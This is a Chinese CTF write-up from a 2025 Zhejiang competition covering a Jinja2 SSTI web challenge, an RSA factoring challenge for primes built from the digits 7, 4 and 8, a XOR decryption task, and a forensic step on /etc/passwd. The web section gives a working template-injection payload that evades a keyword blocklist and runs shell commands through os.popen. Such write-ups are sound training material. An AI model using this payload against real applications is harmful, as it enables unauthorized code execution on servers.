CTF | 15分钟
2025年浙江省网络安全测试职业职工技能竞赛Writeup
八月 22, 2025
SSTI 剪枝 深搜 XOR

所有附件均在:https://github.com/TajangSec/2025_ZJ_CSTPSC,除应急响应环境外,所有赛题均已保存,包括Crypto、Iot、Misc、Pwn、Reverse、Web、工控

web已制作docker容器用于复现,web1:wutajang/wishing_well,web2:wutajang/upload_or_unserialize

个人能力有限,只有4题,web1、Crypto1、Misc1、应急2

web1:

过滤了

txt
1mro, subclasses, globals, bases, class, init, attr, open, request, get_template_global

输入

python
1{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subc'+'lasses__']()}}

得到了一大批类,其中frozen_importlib._ModuleLock是第103个class,所以类下标是102

查找flag

python
1{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subc'+'lasses__']()[102]['__in'+'it__']['__glo'+'bals__']['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").pop'+'en("cat /flag").read()')}}

flag{gUv5umfxyTI5FZXHnyB0whBuvUb3ZPtd}

然后我读取了app.py,做了一个容器,环境与比赛的一致。可以自己下载复现:wutajang/wishing_well

感谢狼组文库,前一天晚上安装的,赛场刚好用上

这题可以用fenjing秒出,以后 SSTI 先用fenjing来一遍

crypto1

题目:

python
 1from Crypto.Util.number import isPrime, bytes_to_long
 2import random
 3from secrt import flag
 4
 5dic = '748'
 6def prime():
 7    while True:
 8        k=''
 9        for i in range(748):
10            k+=random.choice(dic)
11        pp=int(k)
12        if(isPrime(pp)):
13            return pp
14
15p = prime() 
16q = prime() 
17
18n = p * q
19
20e =65537
21m = bytes_to_long(flag)
22c = pow(m, e, n)
23print(f"{n=}")
24print(f"{c=}")
25
26# n=57965216431933226088796671560818941715121392599285777776672758640570086526675287152015619764069299308825089116861195994564163709434808504486258356532895902967858084940632535021778355936353791400167969303079202169837105937298917467373594066850173373339609212401443396782621684812245029494163289347928988992276942525751480546303137377033468992806790360929517672740297764885016029803533296318669224922494853004018456134012009264204906747690767456046073446163802842351174657264712396221558066131431659690721193312072386557437906372905782278159328864517401768732254192656830780576437025230799047080278730474627869391253905615746705567257158666304340167742054379271825568235436291925014347855870208683389009528532708537040018870866271190433215727668736150850586218141730816056278416131761818558733326510888446922478606049322044132625524399430131625135974580967196690690961382730264912034804081499295489782685334607914285245817722260504036511127791220028052476519132968151033319093483512978479238169260126593834659988534831841859650443331504563826067501185430579142261819063084927878436971300990694337363860225741229287312641009094063983434837371798862359718653594539496546026106933351796739520288339134143996030111275436323906085663984569165082375257330158500296289123376635483316448887558687398990511556116134381677091751826925239804718769518584943573058641588317541410945664488828782867029062180080232497850975279918077935794707136675902099269605201882426853800576732414458387766890219590772341967969
27# c=30141476980590174348772446648527482877070063037478657776591896402672987423631623758994066377912792161562669161519716429780152775007589079256512244643450724299278968451284477417709016852473274663625630494103609165334444822865544443696116481792059567500101436829062338660828311682812476373464468060732692448226801336367572307770060050898091922193151200986979795214042306515901689852377315097677391039215862531178400811793704594792717141171507165373583716285712327194598086265674202719038858698536002661368396165178522214382746608403106117102736662822707513950717034287510805772337630254023238478573894620311021792523398076005567938325787916609984858587921207218932787306331094101829756256087792482841096367250635565901291397029669766797847936134686398508813861343026911817383920613198265910303506364467801274148700985306361111426810778097627247891369190662779236709889493798366283345423861513797980882418046529583677042521149450854473747324838601775084787042622048026655821994976076086402841196819585167376907647875708367958024913620824785339916409370296990089312043496137645759264951523489056400201068285324699101161915270843301476198903517791295302012765794522376193563730567571578589811077405043519348013203769285214365510100951141028830960150948618247871300573240919993617398859268444359487810047216444991511135894557793406370145743583050152591591868316780130571308792296210653042685689680492971272572081926200278523241327399476475717901347280567397478294927001472777840445762324930806043484621

思路就是剪枝,也就是深搜

解题:

python
 1from Crypto.Util.number import *
 2
 3n=57965216431933226088796671560818941715121392599285777776672758640570086526675287152015619764069299308825089116861195994564163709434808504486258356532895902967858084940632535021778355936353791400167969303079202169837105937298917467373594066850173373339609212401443396782621684812245029494163289347928988992276942525751480546303137377033468992806790360929517672740297764885016029803533296318669224922494853004018456134012009264204906747690767456046073446163802842351174657264712396221558066131431659690721193312072386557437906372905782278159328864517401768732254192656830780576437025230799047080278730474627869391253905615746705567257158666304340167742054379271825568235436291925014347855870208683389009528532708537040018870866271190433215727668736150850586218141730816056278416131761818558733326510888446922478606049322044132625524399430131625135974580967196690690961382730264912034804081499295489782685334607914285245817722260504036511127791220028052476519132968151033319093483512978479238169260126593834659988534831841859650443331504563826067501185430579142261819063084927878436971300990694337363860225741229287312641009094063983434837371798862359718653594539496546026106933351796739520288339134143996030111275436323906085663984569165082375257330158500296289123376635483316448887558687398990511556116134381677091751826925239804718769518584943573058641588317541410945664488828782867029062180080232497850975279918077935794707136675902099269605201882426853800576732414458387766890219590772341967969
 4c=30141476980590174348772446648527482877070063037478657776591896402672987423631623758994066377912792161562669161519716429780152775007589079256512244643450724299278968451284477417709016852473274663625630494103609165334444822865544443696116481792059567500101436829062338660828311682812476373464468060732692448226801336367572307770060050898091922193151200986979795214042306515901689852377315097677391039215862531178400811793704594792717141171507165373583716285712327194598086265674202719038858698536002661368396165178522214382746608403106117102736662822707513950717034287510805772337630254023238478573894620311021792523398076005567938325787916609984858587921207218932787306331094101829756256087792482841096367250635565901291397029669766797847936134686398508813861343026911817383920613198265910303506364467801274148700985306361111426810778097627247891369190662779236709889493798366283345423861513797980882418046529583677042521149450854473747324838601775084787042622048026655821994976076086402841196819585167376907647875708367958024913620824785339916409370296990089312043496137645759264951523489056400201068285324699101161915270843301476198903517791295302012765794522376193563730567571578589811077405043519348013203769285214365510100951141028830960150948618247871300573240919993617398859268444359487810047216444991511135894557793406370145743583050152591591868316780130571308792296210653042685689680492971272572081926200278523241327399476475717901347280567397478294927001472777840445762324930806043484621
 5e = 65537
 6
 7def find(ph,qh):
 8    if(len(ph) == 748):
 9        p = int(ph)
10        q = n // p
11        if(p*q == n):
12            d = inverse(e,(p-1)*(q-1))
13            print(long_to_bytes(pow(c,d,n)))
14            exit()
15    
16    pmin = int(ph + (748-len(ph))*"4")
17    qmin = int(qh + (748-len(qh))*"4")
18    pmax = int(ph + (748-len(ph))*"8")
19    qmax = int(qh + (748-len(qh))*"8")
20
21    if(pmin*qmin <= n and pmax*qmax >=n):
22        for i in ("7","4","8"):
23            for j in ("7","4","8"):
24                find(ph+i,qh+j)
25
26find("","")
27# flag{try_t0_f4ctor_th1s}

misc1

ency伪代码:

c
 1int __cdecl main(int argc, const char **argv, const char **envp)
 2{
 3  int v4; // [rsp+14h] [rbp-2Ch]
 4  __int64 v5; // [rsp+18h] [rbp-28h]
 5  __int64 v6; // [rsp+20h] [rbp-20h]
 6  int v7; // [rsp+2Ch] [rbp-14h]
 7  unsigned __int64 j; // [rsp+30h] [rbp-10h]
 8  __int64 i; // [rsp+38h] [rbp-8h]
 9
10  for ( i = 0LL; ; i = optarg )
11  {
12    v7 = getopt((unsigned int)argc, argv, &unk_47A004);
13    if ( v7 == -1 )
14      break;
15    if ( v7 != 102 )
16      exit(1LL);
17  }
18  v6 = fopen64(i, &unk_47A007);
19  v5 = fopen64("/tmp/temp_encrypted_file", &unk_47A00A);
20  for ( j = 0LL; ; j = (j + 1) % key_len )
21  {
22    v4 = getc(v6);
23    if ( v4 == -1 )
24      break;
25    fputc((unsigned __int8)(v4 ^ encryption_key[j]), v5);
26  }
27  fclose(v6);
28  fclose(v5);
29  rename("/tmp/temp_encrypted_file", i);
30  return 0;
31}

在流量包里能找到反序列化的攻击流量,base64解开流量,可以发现这个程序使用方式是./ency -f db_backup.sql ,上面伪代码说的是XOR加密,然后把文件重命名为/tmp/temp_encrypted_file。XOR加密有对称性,所以在Linux里面执行一遍就能得到原始文件。去tmp目录下翻文件就行,把admin的passwd hash用flag{}包裹提交

flag{900a29466b514e02b3022831b5a92c79}

应急响应

应急靶机,一大半选手连不上,有的人直接走了,比赛因此延长时间,可是到结束都有大部分选手连不上靶机

描述:

如果靶机出现问题,可以自行重置靶机。靶机重置出现连接信息后,预计需要初始化3-8分钟。 这是一台被入侵的服务器,甚至丢失了管理员账户权限,请在上面找到攻击者的攻击痕迹。 flag 格式为 flag{xxx}。

  • flag1:请找到日志内的隐藏内容。
  • flag2:请找出恶意用户,并将用户家目录与uid+gid之和用逗号分隔后进行 md5 后提交,如家目录为 /root,uid=1,gid=1,则需要提交的 flag 内层内容为 md5{/root,2} 的值。
  • flag3:请找出系统中被隐藏的反连服务器信息,则需要提交的 flag 内层内容为 md5{IP:Port} 的值。
  • flag4:请找出系统中被植入的反连服务器信息,则需要提交的 flag 内层内容为 md5{IP:Port} 的值。
  • flag5:在事件发生时存在了一份流量日志,位于 /var/log/log.zip ,但被加密了,密钥为 flag3+flag4 的拼接,如 flag3=flag{aaa},flag4={bbb},则密钥为 aaabbb ,请找到该流量中的 flag

Flag-2

cat /etc/passwd

最下面的

bash
1debian:x:820:1010::/etc/debian:/bin/bash

/etc/debian,1830

flag就是flag{4b4556f9971ef913383c3e9edddec58b}